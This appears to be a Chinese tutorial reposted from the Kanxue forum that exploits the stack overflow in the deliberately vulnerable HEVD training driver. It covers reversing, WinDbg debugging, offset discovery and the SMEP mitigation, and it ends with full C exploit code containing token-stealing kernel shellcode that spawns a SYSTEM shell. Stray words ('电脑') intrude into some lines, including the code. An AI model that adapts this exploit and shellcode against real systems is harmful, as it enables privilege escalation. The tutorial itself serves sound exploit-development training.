这篇文章里,我们将浏览一个简单的HEVD驱动漏洞 - 栈溢出。攻击代码将附在最后。
首先,我们把驱动.sys文件加载到IDA里看看它的结构。你将会很庆幸我们的驱动里编译时有符号表选项,这使得逆向简单得多!
逆向驱动在driver最开始被加载时,DriverEntry函数是driver的入口。它做了许多事情,比如说,创建IO设备和设置驱动路径 -\\Device\\HackSysExtremeVulnerableDriver。这个函数接着设置IRP(I/O 申请数据包)handler(我觉得中文翻译handle,handler太晦涩,具体可以看这个链接)- 这是我们最关心的部分。
函数IrpDeviceIoCtlHandler 被分配给了 DriverObject MajorFunction 数列的第14个成员。这个函数包含一系列switch选项,这些选项将基于用户在应用程序代码中DeviceIoContrl调用时提供的IOCTL决定那个函数会被运行。
我们关心的函数是StackOverflowIoctlHandler 的 handler。这个函数会在用户使用IOCTL数为
0x222003 ,调用DeviceIoControl时处理用户的请求。
在调用StackOverflowIoctlHandler 后,调用TriggerStackOverflow 函数前,会有一些设置。
这其中包含以下代码:
你应该立刻就能发现这里应该有漏洞。因为这里有一个从 userBuffer 到 kernelBuffer (大小为2048 bytes)的 memcpy,并且这个size 大小是交由用户通过userBufferSz 决定。
所以我们要怎么利用这个漏洞攻击呢?简单。 我们只需要提供比kernelBuffer (大小为2048 bytes)更多的数据,然后再告诉memcpy 我们的数据大小(这里我们的数据是多大就写多大)。驱动会memcpy 我们的数据到驱动内核栈,并且傻傻的帮我们覆盖掉栈上的返回指针。
漏洞找到了,那我们开始真正的攻击吧!
攻击Handler我们设置一个断点来看看攻击是怎么运行的吧。首先我们在WinDbg里运行命令uf HEVD!TriggerStackOverflow 来得到现在TriggerStackOverflow 函数在加载后的HEVD模块的地址。这个地址会随着每次开机而变化 - 因为 ASLR(一个通过每次开机时随机化系统library加载地址来防止攻击者使用系统library的机制,很老的一个想法,但会让攻击者稍微麻烦一点).
0: kd> uf HEVD!TriggerStackOverflow
HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
65 a11a462a 680c080000 push 80Ch
65 a11a462f 68d8211aa1 push offset HEVD!__safe_se_handler_table+0xc8 (a11a21d8)
[...]
92 a11a46be 83c430 add esp,30h
94 a11a46c1 eb21 jmp HEVD!TriggerStackOverflow+0xba (a11a46e4)
HEVD!TriggerStackOverflow+0xba [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 98]:
98 a11a46e4 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
100 a11a46eb 8bc7 mov eax,edi
101 a11a46ed e867c9ffff call HEVD!__SEH_epilog4 (a11a1059)
101 a11a46f2 c20800 ret 8
现在我们想做的是找到找到最终ret函数相对于这个函数起始位置的位置。我们之所以要做这一步是因为我们想通过知道函数名字以及相对位置来找到我们想要的ret,这样我们就不用再考虑ASLR了。
0: kd> ? a11a46f2 - HEVD!TriggerStackOverflow
Evaluate expression: 200 = 000000c8
现在我们知道了ret相对于函数起始位置的位置是0xc8。我们可以设置新断点:
0: kd> bu HEVD!TriggerStackOverflow+c8
现在我们通过输入 g 恢复被攻击虚拟机的运行,然后回到我们的被攻击虚拟机接着写我们的攻击代码!
攻击代码编写为了与驱动通信,我们要给他写个handler。我们可以通过使用CreateFile打开物理驱动路径(在DriverEntry 函数中的DestinationString)。和平常一样,先查查看这个函数的文档来看看参数都是用来干嘛的。
接下来我们需要分配一个用于给驱动memcpy 数据的缓存。我们可以使用VirtualAlloc。我给了这个缓存一个page。(注意这里给缓存上设置了运行和写权限,因为内核最后会执行这个缓存上的shell code)。(shell code就是些2进制码,每个程序编译到最后都是二进制码,而计算机cpu能运行的其实到最后也就是二进制码。这个文章中的shellcode的用处就是提升当前进程的权限到系统权限)
现在我们先给这个缓存区放满A试试。
RtlFillMemory(uBuffer, PAGE_SIZE, 0x41);
最后我们想用DeviceIOControl 调用到驱动,这样我们就能把缓存传给驱动来触发栈溢出!
运行攻击现在把这些整合到一起,编译运行!
我们可以看到断点中断了系统。漏洞名什么的被打印电脑了出来,这些是之前
TriggerStackOverflow 里做的事情。并且中断在了这个TriggerStackOverflow函数ret的那个点。我们可以看到 KernelBuffer Size 和 UserBuffer Size 都是我们想要的!是我们在 DeviceIoControl 调用里给的!
当然我们已经造成了系统损伤。通过View->Memory 在WinDbg里打开栈。写入寄存器esp里的地址,我们可以看到驱动即将要回到的地址。
如果我们继续让进程运行,它将会崩溃,毕竟0x41414141地址里没有东西。接下来我们就看看怎样把将回到的地址改到我们想要的地方。在这里用一个常用的小技巧,debruijn sequence。用pwntools(CTF里的一个常用工具)产生下面这个数列(这里你也可以自己写python script生成你喜欢的数列,Python挺好用的)。
In [1]: cyclic(0x864)
Out[1]: 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza...'
之后我们放这个数列到userBuffer里。
char myStr[] = \"aaaabaaacaaada...avlaav\";
RtlCopyMemory(uBuffer, 电脑 myStr, 0x864);
这样再运行一遍攻击代码,我们就知道在数列的哪个位置是将回的地址。
In [2]: cyclic_find(0x75616175)
Out[2]: 2080
所以我们只要再前2080bytes里随便放点东西,然后放我们想这个进程接着运行的地址。接着我们在那个地址放Shell code就好啦。最后一步我们要得要系统权限的shell。
shell取得系统权限我们只要知道当这段 shellcode 被内核运行时,将会使当前运行的进程提权至系统相同的权限。
如果我们用比win7更新的系统,将会有一个叫SMEP/SMAP 的机制挡在我们面前。这个机制会禁止内核运行用户进程里的shellcode(通过page特征里的一个bit来来判断这个page属于用户还是系统)。为了绕过这个机制,我们需要把shellcode放到内核的栈里(memcpy),然后跳到那里。
但我们的win7并没有这个机制,所以虽然简单我就不麻烦写那一步了。我们就把shellcode放到userBuffer里,然后跳过去就完了。
成功以后,内核将会把当前进程提升到系统权限并从DeviceIoControl 调用中回到当前进程。然后我们的cmd.exe就是可以干一切事情啦!
运行中。。。
拥有系统权限的shell!下面是最终的攻击代码:
#include
#include
#include
#include
/*
HEVD Windows Driver Exploit for the Stack Buffer Overflow
Written by glem - have fun :)
*/
#define PAGE_SIZE 4096
#define SHELLCODE_LEN 61
#define RET_OFFSET 2080
#define STACK_IOCTL 0x222003
#define DRIVER_PATH \"\\\\.\\HackSysExtremeVulnerableDriver\"
void main() {
/*
HANDLE WINAPI CreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE 电脑 hTemplateFile
);
*/
HANDLE device = CreateFileA(DRIVER_PATH,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (device == INVALID_HANDLE_VALUE) {
printf(\"[!] Error opening the driver\n\");
exit(1);
}
/*
LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
*/
LPVOID uBuffer = VirtualAlloc(NULL,
PAGE_SIZE,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!uBuffer) {
printf(\"Error allocating the user buffer\n\");
exit(1);
}
printf(\"[~] uBuffer @ %p\n\", uBuffer);
/*
VOID RtlCopyMemory(
_Out_ VOID UNALIGNED *Destination,
_In_ const VOID UNALIGNED *Source,
_In_ SIZE_T Length
);
*/
char shellcode[] =
/* --- Setup --- */
\"\x60\" // pushad
\"\x64\xA1\x24\x01\x00\x00\" // mov eax, fs:[KTHREAD_OFFSET]
\"\x8B\x40\x50\" // mov eax, [eax + EPROCESS_OFFSET]
\"\x89\xC1\" // mov ecx, eax (Current _EPROCESS structure)
\"\x8B\x98\xF8\x00\x00\x00\" // mov ebx, [eax + TOKEN_OFFSET]
/* --- Copy System token */
\"\xBA\x04\x00\x00\x00\" // mov edx, 4 (SYSTEM PID)
\"\x8B\x80\xB8\x00\x00\x00\" // mov eax, [eax + FLINK_OFFSET]
\"\x2D\xB8\x00\x00\x00\" // sub eax, FLINK_OFFSET
\"\x39\x90\xB4\x00\x00\x00\" // cmp [eax + PID_OFFSET], edx
\"\x75\xED\" // jnz
\"\x8B\x90\xF8\x00\x00\x00\" // mov edx, [eax + TOKEN_OFFSET]
\"\x89\x91\xF8\x00\x00\x00\" // mov [ecx + TOKEN_OFFSET], edx
/* --- Cleanup --- */
\"\x61\" // popad
\"\x31\xC0\" // NTSTATUS -> STATUS_SUCCESS
\"\x5D\" // pop ebp
\"\xC2\x08\x00\"; // ret 8
RtlCopyMemory(uBuffer, shellcode, SHELLCODE_LEN);
/* set return ptr to shellcode */
uint32_t *ret_Addr = (uint32_t *) (uBuffer + RET_OFFSET);
*ret_Addr = (uint32_t) uBuffer;
printf(\"[~] retAddr offset @ %p\n\", ret_Addr);
/*
BOOL WINAPI DeviceIoControl(
_In_ HANDLE hDevice,
_In_ DWORD dwIoControlCode,
_In_opt_ LPVOID lpInBuffer,
_In_ DWORD nInBufferSize,
_Out_opt_ LPVOID lpOutBuffer,
_In_ DWORD nOutBufferSize,
_Out_opt_ LPDWORD lpBytesReturned,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
*/
DWORD bytesRet;
BOOL bof = DeviceIoControl(device, /* handler for open driver */
STACK_IOCTL, /* IOCTL for the stack overflow */
uBuffer, /* our user buffer with shellcode/retAddr */
RET_OFFSET+4, /* want up to the offset + 4 (for the retAddr) sent */
NULL, /* no buffer for the driver to write back to */
0, /* above buffer of size 0 */
&bytesRet, /* dump variable for byte returned */
NULL); /* ignore overlap */
/* check if the device IO sent fine! */
if (!bof) {
printf(\"[!] Error with DeviceIoControl\n\");
exit(1);
} else {
printf(\"[*] Success!! Enjoy your shell!\n\");
}
/* pop a shell! */
system(\"cmd.exe\");
}
下一篇文章会介绍介绍shellcode。然后我们会进行更复杂的驱动攻击!
本文由看雪论坛 wx_rd.cheung 原创 转载请注明来自看雪社区
电脑